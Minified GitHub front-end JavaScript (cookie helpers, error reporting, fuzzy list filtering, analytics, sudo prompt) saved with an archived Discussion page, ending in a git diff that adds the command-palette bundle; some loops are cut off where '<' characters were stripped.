Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof 